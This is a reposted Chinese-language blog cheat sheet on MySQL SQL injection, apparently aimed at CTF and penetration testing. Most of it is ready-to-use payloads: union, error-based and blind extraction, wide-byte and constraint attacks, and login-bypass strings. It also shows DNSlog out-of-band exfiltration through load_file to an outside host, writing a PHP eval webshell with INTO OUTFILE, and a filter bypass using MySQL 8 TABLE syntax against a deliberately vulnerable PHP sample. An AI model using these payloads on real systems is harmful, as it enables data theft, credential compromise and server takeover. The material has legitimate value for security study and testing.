文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox-Retired

HackTheBox-Active

VulnHub

代码审计

PHP代码审计

大数据安全

机器学习

基础学习

Python

Python基础

Python安全

Java

Java基础

Java安全

算法

Leetcode

随笔

经验

技术

 2020-12-10   4k

SQL注入手册【转】

来自https://northity.com/2019/03/02/Sql%E6%B3%A8%E5%85%A5%E6%89%8B%E5%86%8C

常见数据库搭配

  • ASP + ACCESS + IIS
  • ASP.NET + MSSQL +IIS
  • PHP + Mysql + Apache(Nginx)
  • JSP + Oracle(Mysql) + Tomcat

目前来讲就遇到过这些常见组合,快速判断数据库类型是注入的第一步

Mysql

基础

数据库名

  • database()

  • schema()

当前登陆用户

  • USER()

  • CURRENT_USER()

  • SYSTEM_USER()

  • SESSION_USER()

数据库版本

  • VERSION()

  • @@VERSION

  • @@GLOBAL.VERSION

路径相关

  • @@BASEDIR : mysql安装路径

  • @@SLAVE_LOAD_TMPDIR : 临时文件夹路径

  • @@DATADIR : 数据存储路径

  • @@CHARACTER_SETS_DIR : 字符集设置文件路径

  • @@LOG_ERROR : 错误日志文件路径

  • @@PID_FILE : pid-file文件路径

  • @@BASEDIR : mysql安装路径

  • @@SLAVE_LOAD_TMPDIR : 临时文件夹路径

字符串连接

  • concat(str1,str2) //将字符串首尾相连
  • concat_ws(separator,str1,str2) //将字符串用指定连接符连接
  • group_concat()//

字符截断

  • left(str,index) //从左边第index开始截取
  • right(str,index) //从右边第index开始截取
  • substring(str,index) //从左边index开始截取
  • substr(str,index,len) //截取str,index开始,截取len的长度
  • mid(str,index,ken) //截取str 从index开始,截取len的长度

字符串比较函数

  • strcmp(expr1,expr2)//如果两个字符串是一样则返回0,如果第一个小于第二个则返回-1
  • find_in_set(str,strlist) //如果相同则返回1不同则返回0

注释

  • –(后面还有个空格)

  • # 单行注释符,url编码为%23

  • /*…*/

  • /! 语句 / 语句会被执行 可用做分割

运算符

比较运算符

  • =

  • >

  • <

  • !=

  • <> 不等于的意思

  • like (模糊匹配 select '12345' like '12%' => true)

  • in(select '123' in ('12') => false

  • between (select database() between 0x61 and 0x7a;//select database() between 'a' and 'z';)

  • regexp / rlike(正则匹配select '123455' regexp '^12' => true)

算术运算符

  • -
  • /

逻辑运算符

  • not / !
  • and / &&
  • or / ||
  • xor / ^

位运算符

  • & 按位与
  • | 按位或
  • ^ 按位异或
  • ! 取反
  • << 左移
  • >>右移

绕过函数

  • instr(str1,substr) //从子字符串中返回子串第一次出现的位置
  • lpad(str,len,padstr) rpad(str,len,padstr) // 在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果

延时函数

  • sleep()
  • benchmark(1000000,sha(1))

编码函数

  • hex()
  • ascii()

文件函数

  • load_file() //读文件路径可以用0x,char转换的字符
  • outfile select * into outfile '/tmp/test.txt'
  • dumpfile //用法同上但是只能写入一行数据,常用于udf提权写dll

构造语句

条件语句

  • if(expr1,expr2,expr3) // expr1 true执行expr2否则执行expr3
  • select case when (条件) then 代码1 else 代码 2 end

information_schema 结构

  • information_schema.tables:
    查询表名:table_name 对应的数据库名: table_schema
  • information_schema.columns:
    查询列名:column_name 对应的表名:table_schemam

Mysql注入语句一般形式

  • 联合 构造联合语句 + 查询结果
  • 盲注 查询结果 + 比较运算符 + 猜测值
  • 报错 构造报错语句 + 查询结果

Mysql空白字符

1
2
3
%20 %09 %0a %0b %0c %0d %a0 /**/ tab
%a0 这个不会被php的\s进行匹配
/*!*/ 内敛注释 #这个也可以用来做分隔

函数名和括号直接可以插入特殊字符 ex

1
2
3
4
5
concat/**/()

information_schema/**/./**/TABLES

information_schema%0a.%0aTABLES

判断注入是否存在

数值型注入

1
2
3
4
5
?id=1+1
?id=-1 or 1=1
?id=-1 or 10-2=8
?id=1 and 1=2
?id=1 and 1=1

字符型注入
参数被引号包围,所以需要闭合引号

1
2
3
4
?id=1'
?id=1"
?id=1' and '1'='1
?id=1" and "1"="1

闭合后构造语句再注释后面

四大基本注入类型

UNION注入

最简单的注入

用UNION SELECT注入时,若后面要注出的数据的列与原数据列数不同,则会失败。所以需要先猜解列数。

ORDER BY

1
2
3
ORDER BY 10 #
ORDER BY 5 #
ORDER BY 2 #

当ORDER BY的数字大于列数时会返回异常,反复测试,定位出正确的列数

UNION SELECT

1
2
3
UNION SELECT 1,2,3 #
UNION ALL SELECT 1,2,3 #
UNION ALL SELECT null,null,null #

数据库查询

1
2
3
SELECT GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA
SELECT DATABASE()
SELECT schema()

表查询

1
2
SELECT GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()
SELECT GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0xffffff

字段查询

1
SELECT GROUP_CONCAT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0xffffff

数据获取

1
2
3
SELECT GROUP_CONCAT(column_1,column_2) FROM databasename.tablename
SELECT GROUP_CONCAT(column_1,column_2) FROM tablename
SELECT * FROM tablename

报错注入

常见报错payload

  • floor()

    1
    and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
  • updatexml() //5.1.5

    1
    and 1=(updatexml(1,concat(0x3a,(select user())),1))
  • extractvalue() //5.1.5

    1
    and extractvalue(1,concat(0x5c,(select user())))
  • exp() //5.5.5版本之后可以使用

    1
    select host from user where user = 'root' and Exp(~(select * from (select version())a));
  • name_const //支持老版本

    1
    select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;
  • geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring() 几何函数报错

    1
    select multipoint((select * from (select * from (select * from (select version())a)b)c));

布尔盲注

常用payload

1
' OR (SELECT ASCII(SUBSTR(DATABASE(),i,1) ) < j) #

时间盲注

常用payload

1
2
UNION SELECT IF(SUBSTR((SELECT GROUP_CONCAT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA),i,1) < j,BENCHMARK(100000,SHA1(1)),0)
UNION SELECT IF(SUBSTR((SELECT GROUP_CONCAT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA),i,1) < j,SLEEP(10),0)

本质是if做判断然后是否执行sleep,再有回显的bool盲注中则不写延时语句,用0或者1代替

即查询结果有没有输出到页面是两者的本质区别,没有输出时才是时间盲注

除开最常见的sleep延时,还有以下姿势

1
select benchmark(10000000,sha(1));

比赛姿势

  • 笛卡尔积

    1
    2
    3
    4
    5
    6
    7
    mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
    +------------+
    | count(*) |
    +------------+
    | 2651020120 |
    +------------+
    1 row in set (1 min 51.05 sec)

这种方法又叫做heavy query,可以通过选定一个大表来做笛卡儿积,但这种方式执行时间会几何倍数的提升,在站比较大的情况下会造成几何倍数的效果,实际利用起来非常不好用。

  • GET_LOCK

是pwnhub的一道题目
利用场景是有条件限制的:需要提供长连接。在Apache+PHP搭建的环境中需要使用 mysql_pconnect函数来连接数据库。
太少用到不赘述了
https://zhuanlan.zhihu.com/p/35245598

  • RLIKE

通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。

1
2
3
4
5
6
7
mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------+
1 row in set (5.27 sec)

Mysql注入杂技

insert/update/delete注入

这三类语句中可以报错注出数据,但我要写的是如何没有报错的情况下注出数据
本质是在闭合语句后通过子查询进行注入,通常为盲注

update

一段我在实战中遇到的代码

1
2
3
4
5
6
7
8
$result=mysql_query("update ly set content='$content',hf_content='$hf_content',modi_date='$modi_date' where ly_id='$ly_id' ");
if(mysql_affected_rows())
{
echo "{\"success\":true,\"msg\":\"回复成功!\"}";
}else{

echo "{\"success\":false,\"msg\":\"回复失败!\"}";
}

set 和 where 处都可以注入
建议在where处进行注入

payload

1
1' and sleep(1) %23

但是有不少的坑点,因为是根据mysql_affected_rows()判断来进行回显的,所以在update相同的值是并不会affected rows的,但是语句是可以执行的

但是字符型又有另一个坑点
字符型在与数字进行与逻辑运算时会当被做0来处理,所以无法执行and后的sleep。
所以我们只能用 or,||,xor,^

但是或逻辑运算中同样存在问题

(但是具体好像还和mysql版本有关,因为看别人blog字符+or也执行成功了,但是先先不填坑了)
测试只有字符为0时才会执行or后的sleep

应该是和逻辑运算的方式有关,或运算会先检验前面是否为真,只有当前面为字符0时才为假,这是和与运算的不同之处

异或的坑点和或相似
当字符不为数字时不会执行,具体深层原因先留坑吧

这里还有坑…

or活着xor都可能导致多次sleep,因为每次检索都会or一次
实战中要尽量避免这个问题,能布尔盲注的时候就不要用sleep了
要避免这个问题就要用与逻辑且前面为真,放到where就是前面必须where一个存在的值

测试mysql版本5.3.72

insert/delete
1
insert into users values (1,'{injecthere}','password');

类似update,不赘述了

Order by注入

本质仍然是盲注,根据order by 0 或者 1 返回不同的排序进行注入
ctf中的进阶形式为order by 一个特定字段
比如hctf中的一道题目

宽字节注入

原理

1
2
3
4
5
...
mysql_query("SET NAMES 'gbk'");
....
$name = isset($_GET['name']) ? addslashes($_GET['name']) : 1;
$sql = "SELECT * FROM test WHERE names='{$name}'";

即服务器使用了款字节编码,addslashes会将单引号转义,变为\‘,而宽子节会把两个字符编码为一个汉字,所以如果拼接%df,那%df%5c就会被编码为運字,从而逃逸出转义。

具体拼接什么要根据数据库使用的编码来决定,可以去查编码表。

常见payload

1
id=1%df' #

Mysql约束攻击

原理
主要两个点

  • mysql的select查询进行字符串比较的时候,不同长度的字符串,会用空格填充到相同字符在比较。
  • mysql插入数据的时候,当数据超过定义的长度会出现截断象限

利用方式即注册一’admin a’用户(中间空格超长截断),达到超长截断的目的,往数据库中写入一个’admin ’用户,而在select的过程中’admin ‘是与’admin’相等的

所以就可以用’admin ‘的密码登陆’admin’

二次注入

所谓二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。

二次注入是sql注入的一种,但是比普通sql注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。

二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

这个。。只能具体情况分析了,不太好写

比如sql lab-24

Mysql带外注入

带外通道攻击主要是利用其他协议或者渠道从服务器提取数据
它可能是HTTP(S)请求,DNS解析服务,SMB服务,Mail服务等

DNSlog

只能用于windows环境

select拼接一个UNC路径导致请求发起
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式

\sss.xxx\test\

常见payload

1
select load_file('\\\\',select hex(version()),'.dnslog地址')

这也就解释了为什么CONCAT()函数拼接了4个\了,因为转义的原因,4个\就变成了2个\,目的就是利用UNC路径

可以直接直接用ceye.io这个平台,这个平台就集成了Dnslog的功能

利用方法

首先查看变量确定权限
show variables like ‘%secure%’

  • 当secure_file_priv为空,就可以读取磁盘的目录。
  • 当secure_file_priv为G:\,就可以读取G盘的文件。
  • 当secure_file_priv为null,load_file就不能加载文件。

在mysql 5.5.34版本默认为空可以加载文件 但是之后版本为NULL会禁用函数但是
可以通过mysql的配置文件my.ini添加行进行配置

最好进行加密处理,防止特殊字符导致传输失败
payload

1
select load_file(concat(0x5c5c5c5c,select hex(version()),0x2E66326362386131382E646E736C6F672E6C696E6B2F2F616263));

文件读写

查询用户读写权限

1
SELECT file_priv FROM mysql.user WHERE user = 'username';
  • load_file()

需要有读取文件的权限
需要知道文件的绝对物理路径
要读取的文件大小必须小于 max_allowed_packet

一般没啥问题

1
SELECT @@max_allowed_packet;

一般用load_file来看config.php(即mysql的密码),apache配置、servu密码等。前提是要知道物理路径。

常见paylaod

1
2
3
UNION SELECT LOAD_FILE("C://TEST.txt") #
UNION SELECT LOAD_FILE("C:/TEST.txt") #
UNION SELECT LOAD_FILE("C:\\TEST.txt") #

后面的路径可以是单引号、0x、char转换的字符
路径中的斜杠是/而不是\

使用编码

1
2
UNION SELECT LOAD_FILE(CHAR(67,58,92,92,84,69,83,84,46,116,120,116)) #
UNION SELECT LOAD_FILE(0x433a5c5c544553542e747874) #
  • out_file()

outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径
经典一句话payload

1
select '<?php eval($_POST[cmd])?>' into outfile 'C:/www/shell.php'

当然也可以从表中选数据写

万能密码

1
2
3
4
5
6
7
8
9
admin’ —
admin’ #
admin’/*
or ‘=’ or
‘ or 1=1—
‘ or 1=1#
‘ or 1=1/*
‘) or ‘1’=’1—
‘) or (‘1’=’1—

UPDATE

利用MySQL8新特性绕过select过滤

在MySQL 8.0.19之后,MySQL推出几种新语法:

  • TABLE statement - 列出表中全部内容
1
2
3
4
5
6
7
8
9
mysql> TABLE user;
+----+----------+---------+
| id | username | passwd |
+----+----------+---------+
| 1 | admin | adminpw |
| 2 | tom | tompw |
| 3 | kak | kakpw |
+----+----------+---------+
3 rows in set (0.00 sec)
  • VALUES statement - 列出一行的值
1
2
3
4
5
6
7
8
9
10
mysql> VALUES ROW(1, 2, 3) UNION SELECT * FROM user;
+----------+----------+----------+
| column_0 | column_1 | column_2 |
+----------+----------+----------+
| 1 | 2 | 3 |
| 1 | admin | adminpw |
| 2 | tom | tompw |
| 3 | kak | kakpw |
+----------+----------+----------+
4 rows in set (0.00 sec)

假设以下代码是在过滤select, handler以及禁用堆叠注入的情景下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
if (!empty($_GET['showme']))
highlight_file(__FILE__);

$aaa = mysqli_connect('127.0.0.1', 'root', 'rootroot', 'test');

if (empty($_GET['id']))
$id = 1;
else
$id = $_GET['id'];

$clean = strtolower($id);

if (strpos($clean, 'select') !== false) {
echo 'waf';
exit();
}

var_dump("select * from news where $id='$id'");
$result = mysqli_query($aaa, "select * from news where id ='$id'");
$row = mysqli_fetch_array($result);
$title = $row['title'];
$content = $row['content'];

echo "<h1>$title</h1><br>";
echo "<h2>$content</h2><br>";

构造恶意sql语句

1
select * from news where $id='' or (1,'admin','{passwd}') <= (table user limit 1)#

语句table user limit 1的查询结果如下

1
2
3
4
5
6
+----+----------+---------+
| id | username | passwd |
+----+----------+---------+
| 1 | admin | adminpw |
+----+----------+---------+
1 row in set (0.00 sec)

实质上是(id, username, passwd)(1, 'admin', 'adminpw')进行比较,比较顺序为自左向右 两个元组第一个字符比大小,如果第一个字符相等就比第二个字符的大小,以此类推,最终结果即为元组的大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
mysql> SELECT (1, '', '') < (TABLE user LIMIT 1);
+-------------------------------------+
| (1, '', '') < (TABLE user LIMIT 1) |
+-------------------------------------+
| 1 |
+-------------------------------------+
1 row in set (0.00 sec)

mysql> SELECT (2, '', '') < (TABLE user LIMIT 1);
+-------------------------------------+
| (2, '', '') < (TABLE user LIMIT 1) |
+-------------------------------------+
| 0 |
+-------------------------------------+
1 row in set (0.00 sec)

mysql> SELECT (1, 'a', '') < (TABLE user LIMIT 1);
+--------------------------------------+
| (1, 'a', '') < (TABLE user LIMIT 1) |
+--------------------------------------+
| 1 |
+--------------------------------------+
1 row in set (0.00 sec)

mysql> SELECT (1, 'ad', '') < (TABLE user LIMIT 1);
+---------------------------------------+
| (1, 'ad', '') < (TABLE user LIMIT 1) |
+---------------------------------------+
| 1 |
+---------------------------------------+
1 row in set (0.00 sec)

mysql> SELECT (1, 'ae', '') < (TABLE user LIMIT 1);
+---------------------------------------+
| (1, 'ae', '') < (TABLE user LIMIT 1) |
+---------------------------------------+
| 0 |
+---------------------------------------+
1 row in set (0.00 sec)

转载自:https://0xgeekcat.github.io/利用MySQL8新特性绕过select过滤.html

Copyright © ca01h 2019-2021 | 本站总访问量